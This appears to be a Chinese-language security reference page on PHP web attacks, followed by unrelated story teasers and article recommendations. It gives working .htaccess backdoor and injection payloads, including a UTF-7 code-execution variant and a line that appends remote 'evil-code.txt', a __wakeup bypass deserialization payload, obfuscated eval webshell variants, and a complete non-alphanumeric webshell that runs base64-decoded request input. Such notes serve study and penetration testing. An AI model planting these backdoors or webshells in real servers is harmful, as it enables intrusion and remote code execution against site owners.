4.1 PHP

4.1.1. 后门

4.1.1.1. php.ini构成的后门

  利用 auto_prepend_file 和 include_path

4.1.1.2. .htaccess后门

php_value auto_append_file .htaccess
#<?php phpinfo();
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt

4.1.1.3. .user.ini文件构成的PHP后门

  .user.ini可运行于所有以fastcgi运行的server。 利用方式同php.ini

4.1.2. 反序列化

4.1.2.1. PHP序列化实现

  PHP序列化处理共有三种,分别为php_serialize、php_binary和 WDDX,默认为php_serialize,可通过配置中的 session.serialize_handler 修改。
  其中php_serialize的实现在 php-src/ext/standard/var.c 中,主要函数为 php_var_serialize_intern ,序列化后的格式如下:

  • boolean
    • b:<value>;
    • b:1; // true
    • b:0; // false
  • integer
    • i:<value>;
  • double
    • d:<value>;
  • NULL
    • N;
  • string
    • s:<length>:"<value>";
    • s:1:"s";
  • array
    • a:<length>:{key, value};
    • a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");
  • object
    • O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
  • reference
    • 指针类型
    • R:reference;
    • O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
    • $a = new A();$a->a=1;$a->b=&$a->a;

4.1.2.2. PHP反序列化漏洞

  php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。
  另外 __toString / __call 两个函数也有利用的可能。
  其中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString 在echo时被触发, __call 在一个未被定义的函数调用时被触发。
  下面提供一个简单的demo.

class Demo
{

    public $data;

    public function __construct($data)
    {
        $this->data = $data;
        echo "construct<br />";
    }

    public function __wakeup()
    {
        echo "wake up<br />";
    }

    public function __destruct()
    {
        echo "Data's value is $this->data. <br />";
        echo "destruct<br />";
    }
}

var_dump(serialize(new Demo("raw value")));

  输出

construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

  把序列化的字符串修改一下后,执行
  unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
  输出

wake up
Data's value is malicious value.
destruct

  这里看到,值被修改了.
  上面是一个 unserialize() 的简单应用,不难看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。
  那么,在 __wakeup() 中加入判断是否可以阻止这个漏洞呢? 在 __wakeup() 中我们加入一行代码

public function __wakeup()
{
    if($this->data != 'raw value') $this->data = 'raw value';
    echo "wake up<br />";
}

  但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload

unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

  输出

Data's value is malicious value.
destruct

  这里wakeup被绕过,值依旧被修改了。

4.1.3. Disable Functions

4.1.3.1. 机制实现

  PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function 来实现禁止的效果。
  这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */
{
    zend_internal_function *func;
    if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
        zend_free_internal_arg_info(func);
        func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
        func->num_args = 0;
        func->arg_info = NULL;
        func->handler = ZEND_FN(display_disabled_function);
        return SUCCESS;
    }
    return FAILURE;
}

  和函数的实现方式类似,disable classes也是这样实现的

ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */
{
    zend_class_entry *disabled_class;
    zend_string *key;

    key = zend_string_alloc(class_name_length, 0);
    zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length);
    disabled_class = zend_hash_find_ptr(CG(class_table), key);
    zend_string_release_ex(key, 0);
    if (!disabled_class) {
        return FAILURE;
    }
    INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new);
    disabled_class->create_object = display_disabled_class;
    zend_hash_clean(&disabled_class->function_table);
    return SUCCESS;
}

  因为这个实现机制的原因,在PHP启动后通过 ini_set 来修改 disable_functionsdisable_classes 是无效的。

4.1.3.2. Bypass

4.1.4. Open Basedir

4.1.4.1. 机制实现

  PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
    /* Only check when open_basedir is available */
    if (PG(open_basedir) && *PG(open_basedir)) {
        char *pathbuf;
        char *ptr;
        char *end;

        /* Check if the path is too long so we can give a more useful error
        * message. */
        if (strlen(path) > (MAXPATHLEN - 1)) {
            php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
            errno = EINVAL;
            return -1;
        }

        pathbuf = estrdup(PG(open_basedir));

        ptr = pathbuf;

        while (ptr && *ptr) {
            end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
            if (end != NULL) {
                *end = '\0';
                end++;
            }

            if (php_check_specific_open_basedir(ptr, path) == 0) {
                efree(pathbuf);
                return 0;
            }

            ptr = end;
        }
        if (warn) {
            php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
        }
        efree(pathbuf);
        errno = EPERM; /* we deny permission to open it */
        return -1;
    }

    /* Nothing to check... */
    return 0;
}

4.1.5. phpinfo相关漏洞

4.1.5.1. Session.Save

  PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。 从phpinfo中可获得session位置

4.1.5.2. Session.Upload

  php.ini默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。
  那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。

4.1.5.3. /tmp临时文件竞争

  phpinfo中可以看到上传的临时文件的路径,从而实现LFI

4.1.6. htaccess injection payload

4.1.6.1. file inclusion

php_value auto_append_file /etc/hosts

4.1.6.2. code execution

php_value auto_append_file .htaccess
#<?php phpinfo();

4.1.6.3. file inclusion

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt

4.1.6.4. code execution with UTF-7

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs

4.1.6.5. Source code disclosure

php_flag engine 0

4.1.7. WebShell

4.1.7.1. 常见变形

  • GLOBALS
    • eval($GLOBALS['_POST']['op']);
  • $_FILE
    • eval($_FILE['name']);
  • 拆分
    • assert(${"_PO"."ST"} ['sz']);
  • 动态函数执行
    • $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
  • create_function
    • $function = create_function('$code',strrev('lave').'('.strrev('TEG_/dd>).'["code"]);');$function();
  • preg_replace
  • rot13
  • base64
  • 进制转化
    • "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
  • 利用文件名
    • __FILE__

4.1.7.2. 字符串变形函数

  • ucwords
  • ucfirst
  • trim
  • substr_replace
  • substr
  • strtr
  • strtoupper
  • strtolower
  • strtok
  • str_rot13

4.1.7.3. 回调函数

  • call_user_func_array
  • call_user_func
  • array_filter
  • array_walk
  • array_map
  • registregister_shutdown_function
  • register_tick_function
  • filter_var
  • filter_var_array
  • uasort
  • uksort
  • array_reduce
  • array_walk
  • array_walk_recursive

4.1.7.4. 特殊字符Shell

  PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$____;
$___(base64_decode($_[_]));

4.1.8. Phar

4.1.8.1. 简介

  Phar(PHP Archive)文件是一种打包格式,将PHP代码文件和其他资源放入一个文件中来实现应用程序和库的分发。
  在来自Secarma的安全研究员Sam Thomas在18年的Black Hat上提出后利用方式后,开始受到广泛的关注。
  Phar可利用是因为Phar以序列化的形式存储用户自定义的meta-data,而以流的形式打开的时候,会自动反序列化,从而触发对应的攻击载荷。

4.1.8.2. Phar文件结构

  Phar由四个部分组成,分别是 stub / manifest / 文件内容 / 签名。 stub 需要 __HALT_COMPILER(); 这个调用在PHP代码中。
  manifest 包含压缩文件的权限、属性、序列化形式存储的meta-data等信息,这是攻击的核心部分,主要就是解析Phar时对meta-data的反序列化。

4.1.8.3. 原理

  phar的实现在 php-src/ext/phar/phar.c 中,主要是 phar_parse_metadata 函数在解析phar文件时调用了 php_var_unserialize ,因而造成问题。
  而php在文件流处理过程中会调用 _php_stream_stat_path (/main/streams/streams.c) ,而后间接调用 phar_wrapper_stat ,所以大量的文件操作函数都可以触发phar的反序列问题。
  目前已知部分的触发函数有:
  fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file_get_contents / readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable / parse_ini_file / unlink / copy / exif_thumbnail / exif_imagetype / imageloadfont / imagecreatefrom*** / hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file / get_meta_tags / get_headers / getimagesize / getimagesizefromstring

4.1.9. 其它

4.1.9.1. 低精度

  php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。 比如 php -r "var_dump(0.2+0.7==0.9);" 这行代码的输出是 bool(false) 而不是 bool(true)。这在一些情况下可能出现问题。

4.1.9.2. 弱类型

  如果使用 == 来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是 0e[0-9]{30} 的时候,就会认为两个hash值相等。 另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php" 的结果会是true
  另外在判断一些hash时,如果传入的是数组,返回值会为 NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。
  同样的, strcmp() ereg() strpos() 这些函数在处理数组的时候也会异常,返回NULL。

4.1.9.3. 命令执行

  preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行

4.1.9.4. 截断

  PHP字符存在截断行为,可以使用 ereg / %00 / iconv 等实现php字符截断的操作,从而触发漏洞。

4.1.9.5. 变量覆盖

  当使用 extract / parse_str 等函数时,或者使用php的 $$ 特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。

4.1.9.6. 执行系统命令

  禁用的函数可以在phpinfo中的 disable_functions 中查看

  • pcntl_exec
  • exec
  • passthru
  • popen
  • shell_exec
  • system
  • proc_open

4.1.9.7. Magic函数

  • __construct() __destruct()
  • __call() __callStatic()
  • __get() __set()
  • __isset() __unset()
  • __sleep() __wakeup()
  • __toString()
  • __invoke()
  • __set_state()
  • __clone()
  • __debugInfo()

4.1.9.8. 文件相关敏感函数

  • move_uploaded_file
  • file_put_contents / file_get_contents
  • unlink
  • fopen / fgets

4.1.9.9. php特性

  • php自身在解析请求的时候,如果参数名字中包含" "、"."、"["这几个字符,会将他们转换成下划线

4.1.10. 参考链接

4.1.10.1. Bypass

4.1.10.2. Tricks

4.1.10.3. WebShell

4.1.10.4. Phar

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,905评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,140评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,791评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,483评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,476评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,516评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,905评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,560评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,778评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,557评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,635评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,338评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,925评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,898评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,142评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,818评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,347评论 2 342

推荐阅读更多精彩内容

  • 6.4.1 PHP超全局数组(预定义变量)概述 超全局数组(预定义变量) • 服务器变量: $_SERVER...
    曹渊说创业阅读 695评论 0 1
  • 常规参数的函数 无论是使用系统函数还是自定义的函数,我们都要可通过如下函数的三要素来了解一个函数:函数的功能描述函...
    曹渊说创业阅读 567评论 0 1
  • 更改ip和dnsVi /etc/sysconfig/network-scripts/ifcfg-eth0vi /...
    Xwei_阅读 1,794评论 0 3
  • 基础漏洞、弱类型、伪协议、反序列化 基础知识补漏 php类型转换机制 php是一种弱类型语言,它支持的类型有: b...
    Arklight阅读 2,016评论 0 3
  • 养的鱼,从六条减少到五条,再从五条减少到四条,再从四条到现在的三条,剩下的三条不知道还能养到多久。 突然间后悔带他...
    一個人的朝聖阅读 214评论 0 0